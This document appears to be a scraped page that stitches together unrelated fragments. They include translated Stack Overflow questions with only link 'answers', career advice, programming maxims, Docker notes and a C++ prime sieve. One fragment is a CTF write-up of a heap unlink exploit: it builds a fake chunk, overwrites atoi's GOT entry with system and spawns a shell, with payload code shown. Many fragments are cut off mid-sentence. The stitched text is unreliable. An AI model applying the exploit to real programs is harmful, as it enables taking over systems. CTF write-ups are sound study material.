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问题： I have a URL with some GET parameters as follows: 我有一个带有一些GET参数的URL，如下所示： www.test.com/t.html?a=1&b=3&c=m2-m3-m4-m5 I need to get the whole value of c . 我需要得到 c 的整个值。 I tried to read the URL, but I got only m2 . 我尝试读取URL，但是只有 m2 。 How do I do this using JavaScript? 如何使用JavaScript执行此操作？ 解决方案： 参考一： https://stackoom.com/question/46w3/如何从GET参数获取值 参考二： https://oldbug.net/q/46w3/How-to-get-the-value-from-the-GET-parameters 来源： oschina 链接： https://my.oschina.net/stackoom/blog/4308123

问题： I need a good explanation (references are a plus) on Python's slice notation. 我需要一个关于Python切片符号的很好的解释（引用是一个加号）。 To me, this notation needs a bit of picking up. 对我而言，此表示法需要一些注意。 It looks extremely powerful, but I haven't quite got my head around it. 它看起来非常强大，但是我还没有完全了解它。 解决方案： 参考一： https://stackoom.com/question/28T5/了解切片符号 参考二： https://oldbug.net/q/28T5/Understanding-slice-notation 来源： oschina 链接： https://my.oschina.net/u/4438370/blog/4295611

目录 利用思路 利用过程 get flag exp 脚本 内容来源 利用思路   由于之前 house of spirit 时候已经逆向分析过，这里不再重复 伪造一个空闲 chunk。 通过 unlink 把 chunk 移到存储 chunk 指针的内存处。 覆盖 chunk 0 指针为 atoi 的 got 表地址并泄露。 覆盖 atoi 的 got 表为 system 函数地址。 给出参数 ‘sh’，调用 atoi 函数拿 shell。 利用过程 add(0x40,'a' * 8) add(0x80,'b' * 8) add(0x80,'c' * 8) ptr = 0x6020c8 fake_chunk = p64(0) fake_chunk += p64(0x41) fake_chunk += p64(ptr-0x18) fake_chunk += p64(ptr-0x10) fake_chunk += 'c'*0x20 fake_chunk += p64(0x40) fake_chunk += p64(0x90) edit(0,0x80,fake_chunk)   首先在 chunk 0 构造一个 fake chunk ，并把指针分别置为 ptr-0x18 和 ptr-0x10 ，同时把 chunk 1 的 prev_size 给上 fak chunk 的大小，把 size

1. Get out of the library. You can have a degree and a huge GPA and not be ready for the workplace. A student should plan that college is four years of experience rather than 120 credits," says William Coplin, professor at Syracuse University and author of the book, 10 Things Employers Want You to Learn in College." 第一，走出图书馆。 就算有了学位和很高的 GPA 你也不见得就为工作做好了准备。大学是四年人生经验，不是高学分。在美国的大学，课外活动常常和功课一样重要。 2. Start a business in your dorm room. It's cheap, Google and Yahoo are dying to buy your website, and it's better than washing dishes in the cafeteria. Note to those who play poker online until 4 a .m.:

在所有弱点中，最大的弱点就是害怕暴露弱点。 Provide Options,Don't make lame excuses. Don't live with broken windows. Be a catalyst for change. Remember the big picture. 欲求更好，常把好事变糟。 Make quality a requirements issue. 知识上的投资总能得到最好的回报。 Invest regularly in your knowledge portolio. Critically analyze what you read and hear. 我相信，被打量比被忽略要好。 What do you want them to learn? What is their interest in what you've got to say? How sophisticated are they? How much detail do they want? Whom do you want to own the information? How can you motivate them to listen to you? It's both what you say the way you say it 了解你的听众们，好好沟通，多倾听。

问题： I was trying various methods to implement a program that gives the digits of pi sequentially. 我正在尝试各种方法来实现一个顺序给出pi数字的程序。 I tried the Taylor series method, but it proved to converge extremely slowly (when I compared my result with the online values after some time). 我尝试了 泰勒系列 方法，但事实证明它收敛得非常慢（当我在一段时间后将我的结果与在线值进行比较时）。 Anyway, I am trying better algorithms. 无论如何，我正在尝试更好的算法。 So, while writing the program I got stuck on a problem, as with all algorithms: How do I know that the n digits that I've calculated are accurate? 因此，在编写程序时，我遇到了问题，就像所有算法一样：我怎么知道我计算的 n 位数是准确的？ 解决方案： 参考一： https://stackoom

问题： I got a AsyncTask that is supposed to check the network access to a host name. 我有一个 AsyncTask 应该检查网络访问主机名。 But the doInBackground() is never timed out. 但是 doInBackground() 永远不会超时。 Anyone have a clue? 有人有线索吗？ public class HostAvailabilityTask extends AsyncTask<String, Void, Boolean> { private Main main; public HostAvailabilityTask(Main main) { this.main = main; } protected Boolean doInBackground(String... params) { Main.Log("doInBackground() isHostAvailable():"+params[0]); try { return InetAddress.getByName(params[0]).isReachable(30); } catch (UnknownHostException e) { e.printStackTrace();

问题： Running git on a Windows XP machine, using bash. 使用bash在Windows XP计算机上运行git。 I exported my project from SVN, and then cloned a bare repository. 我从SVN导出了我的项目，然后克隆了一个裸存储库。 I then pasted the export into the bare repositories directory, and did a: 然后我将导出粘贴到裸存储库目录中，并执行了： git add -A I then got a list of messages saying: 然后我得到一条消息列表： LF will be replaced by CRLF LF将由CRLF取代 What are the ramifications of this conversion? 这种转变的后果是什么？ This is a .NET solution in Visual Studio. 这是Visual Studio中的.NET解决方案。 解决方案： 参考一： https://stackoom.com/question/8Fnm/git用CRLF代替LF 参考二： https://oldbug.net/q/8Fnm/git

Manage Docker as a non - root user The docker daemon binds to a Unix socket instead of a TCP port . By default that Unix socket is owned by the user root and other users can only access it using sudo . The docker daemon always runs as the root user . If you don ’ t want to use sudo when you use the docker command , create a Unix group called docker and add users to it . When the docker daemon starts , it makes the ownership of the Unix socket read / writable by the docker group . 来源： oschina 链接： https://my.oschina.net/u/4332589/blog/4295575

埃拉托斯特尼筛法（sieve of Eratosthenes ） 是古希腊数学家埃拉托斯特尼发明的计算素数的方法。对于求解不大于 n 的所有素数，我们先找出 sqrt(n) 内的 所有素数p1到pk ，其中 k = sqrt(n) ，依次剔除 Pi 的倍数，剩下的所有数都是素数。 具体操作如上述 图片所示。 C++实现 #include<iostream> #include<vector> using namespace std; int main() { int n; cin >> n; vector<bool> isprime(n + 5, true); vector<int> ans; for (int i = 2; i <= n; i++) { if (isprime[i]) { ans.push_back(i); for (int j = i * i; j <= n; j += i)isprime[j] = false; } } for (auto i : ans)cout << i << " "; cout << endl; return 0; } 整除问题 给定n，a求最大的k，使n！可以被a k整除但不能被a (k+1)整除。 输入描述 两个整数n(2<=n<=1000)，a(2<=a<=1000) 输出描述 示例1 输入 555 12 输出 274